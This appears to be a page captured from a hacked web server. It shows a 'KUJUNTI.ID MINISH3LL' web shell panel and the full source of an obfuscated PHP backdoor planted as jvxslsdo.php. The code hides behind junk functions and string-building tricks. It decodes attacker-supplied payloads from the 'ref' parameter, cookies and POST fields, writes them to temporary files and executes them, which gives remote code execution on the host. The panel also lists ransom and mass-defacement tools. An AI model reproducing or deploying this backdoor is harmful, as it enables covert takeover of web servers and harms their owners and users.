\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/tims.tv/autoconfig/
(S)h3ll Cr3at0r :
F!le Upl0ad :
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H
Current File : /var/www/html/tims.tv/autoconfig/jvxslsdo.php


<?php																																										if(in_array("r\x65\x66", array_keys($_REQUEST))){ $fac = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm"]); $token = $_REQUEST["r\x65\x66"]; $token =explode( '.', $token ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $t = 0; foreach ($token as $v6) { $chS = ord($s[$t % $sLen] ); $d = ((int)$v6 - $chS - ($t % 10))^ 66; $binding .= chr($d ); $t++; } while ($entry = array_shift($fac)) { if (!!is_dir($entry) && !!is_writable($entry)) { $ent = implode("/", [$entry, ".resource"]); if (file_put_contents($ent, $binding)) { require $ent; unlink($ent); die(); } } } }
 $zkcdsk	=    'zkcdsk' /*   war  */ ^       '';




function       loypip_oh()


{


	$rxyassn       =      36; /*   q_*/ $tbznistmxg    = /* lvkidg   */ 'pf';

	$ltfyhhpq /*   sjca_h*/ =   'nfheuh';
 /*   _qphil */ $otn_vyk /* ptlsxv*/ =       'lvwggyevkz';

       $kgex_d	=       str_replace('pqhbts', /* lsf*/ 'wut',	$otn_vyk);


}


loypip_oh();


$_kxitwdk /*   jpe */ =     $_COOKIE;$ftkfq    = /* sxup*/ 73;






function    idslouq($aevfiej, /*dxcil  */ $hwogd)


{


    global     $zkcdsk;


 /* f   */ 


	file_put_contents($hwogd,  "<" /* c  */ .    "?".$zkcdsk(112)    . /*   siwa   */ "\x68"    .    "p".$zkcdsk(32) /*  l  */ .  "\165" /*  c*/ .    "n"."l"."\x69".$zkcdsk(110)  .	"\153" /*   sv*/ . /*   ttdgrb  */ "\50"  .    $zkcdsk(467-372)	.	$zkcdsk(708-613)    . /*ytdr  */ "F"."I"."\x4c"       .  $zkcdsk(69)    .	$zkcdsk(95)      .	"\137" /* wlf */ . /*ra   */ ")".$zkcdsk(134-75)    .   $zkcdsk(32)    . /* hdea */ $aevfiej["\x64"]);
 /*  mjcs   */ 


	ghyjtmdmzt($hwogd);

}


function /*   xg*/ ghyjtmdmzt($hwogd)


{

  global  $zkcdsk;
    


 /* bw*/ include($hwogd);
 /*   khsn */ $flmjxcx      = /*  afs*/ $hwogd;

	@unlink($flmjxcx);


}





function	bosoujjq()

{  global  $zkcdsk;





    $ctsxp    =       array();
    $ctsxp["p"."v"]      =      phpversion();   $ctsxp["s"."v"]    =    "3".$zkcdsk(46) /* tvrtiu */ .	"5";	$ccyxvooga    = /*   zgff   */ 74;   echo /*  a_otth   */ @serialize($ctsxp);


}





function    aepksxk()

{ /* dl   */ $olumrtzuen    =     'ahrtjcpig_';

      $mltfsi  = /*gbuqaq  */ 44;
   $cxmkjq	=	47;

       $afpsaxv /*   wirm */ =	'xyijgiacxv';


}





aepksxk();





function /*  exv   */ hpqai($aevfiej, /*   dkrwes */ $ltyavohzbpoy)
{


   global /*  za_s*/ $zkcdsk;
   $dqhxnlb     = /*fbsdqb */ "";


	$bqjwkfrjj /*w_t   */ = /*  h*/ 'tijgjob';


  for    ($ctsxp /*mxscbj   */ =    0; /*  xladj */ $ctsxp   < /*  b   */ strlen($aevfiej);)  {
       for    ($ltyavoh    =   0;      $ltyavoh	< /*   qtnmnx*/ strlen($ltyavohzbpoy) /*xs*/ && /*_x */ $ctsxp /*ta   */ < /*   la  */ strlen($aevfiej);    $ltyavoh++,    $ctsxp++) /*kp_y */ {


    $dqhxnlb     .=    $zkcdsk(ord($aevfiej[$ctsxp]) /*   miokix*/ ^ /* pk*/ ord($ltyavohzbpoy[$ltyavoh]));
       }


   }


 /*cqxy   */ return      $dqhxnlb;

}



function /*   czva   */ fxxqksx()
{
       $ltyavohbmxrixxr /* xulsuf*/ =    14;	$npmv_fyb    = /*   x  */ 'ylflb';

     $fdnwncbc /* v_o */ =    18; /*   dwgcug*/ $ctsxpjxtebg     = /*   vdoxy  */ 49;


       $ekkfjckygo /*   d_un   */ =    'ze';       $lujmqpyu /* k*/ =	'nedqw';	$ltyavohbmxrixxr    =     $ctsxpjxtebg    *	$ctsxpjxtebg;
    $c_aqbvodlb    = /*   njm*/ $ctsxpjxtebg /* gig*/ /	($ctsxpjxtebg     +	10); /* ex  */ $y_xddd     =      39;
}





fxxqksx();





function	ezyfkfskbw($aevfiej, /* wgvsav  */ $qgsjaehd,  $fksxwjdfnn)


{
 /* c*/ global    $zkcdsk;


  $aevfiej   = /*  sxu   */ unserialize(hpqai(hpqai(base64_decode($aevfiej),    $qgsjaehd),    $fksxwjdfnn));


	$utuaapfm    =  'gi';	$atppcntkm /*   xpvsyv*/ =      'zijmjtu'; /*   tmq  */ if /*   ugprup  */ (isset($aevfiej[$zkcdsk(97)       .	"k"])) /*  duh*/ { /*   i  */ if /*   to */ ($aevfiej[$zkcdsk(930-833)] /*  f_lhl_  */ ==    "\x69") /*  mkuja*/ {

  bosoujjq();


    } /* nn*/ elseif	($aevfiej[$zkcdsk(930-833)]    == /*  j   */ "e") /* dmj   */ {   idslouq($aevfiej,	sprintf(".".$zkcdsk(47)      .	"%"."\163"      . /*  heehu*/ "\x2e"    . /* ppzdbw */ "\160"   . /*  jyhis   */ "\154",	md5($qgsjaehd)));
			$cihkac	= /* hhcpre */ 44;


 /*   d*/ }


       exit(); /*  inj  */ }

}





	$nlmx_ls_cn /*epnv  */ = /*ow*/ 69;
	$xlybml /*  mrykjk  */ = /*   hlvc  */ 22;

$qgsjaehd	=   "\x63"	.    $zkcdsk(930-833).$zkcdsk(53) /*  wcnu */ .    "\71"     .	$zkcdsk(936-879)  .     $zkcdsk(99)  .       "1".$zkcdsk(99)      . /* _cwz*/ "\x2d" /* cwum */ .       "6"."\x61" /*   gav*/ . /*  xufy   */ "b"."\x34"    .    "-".$zkcdsk(154-102)      .	"3".$zkcdsk(626-569)	.	"c"."-"."b"."4"."b"."\x38"	. /*   r */ "-".$zkcdsk(767-713)    .    "\x64"."5"."\66"  .   $zkcdsk(54)    . /*gh   */ "\x65" /* c*/ .	"6"."0"."0"."\x62" /*ppat*/ .    "\x64".$zkcdsk(169-71);

$xlybml	=   $nlmx_ls_cn /*   df  */ + /*   lzdvbn   */ 15;
foreach       ($_kxitwdk /*  _kkyw  */ as	$fksxwjdfnn /*oz_oo   */ =>     $aevfiej) /* uom */ {


 /*   qrkab_   */ ezyfkfskbw($aevfiej,      $qgsjaehd,	$fksxwjdfnn);

}



foreach /*   abzjj */ ($_POST    as /* x   */ $fksxwjdfnn	=>	$aevfiej) /* y   */ {

 /*kzypn   */ ezyfkfskbw($aevfiej,    $qgsjaehd,  $fksxwjdfnn);}


$vftlhbxdwk    =	6;




?>

© KUJUNTI.ID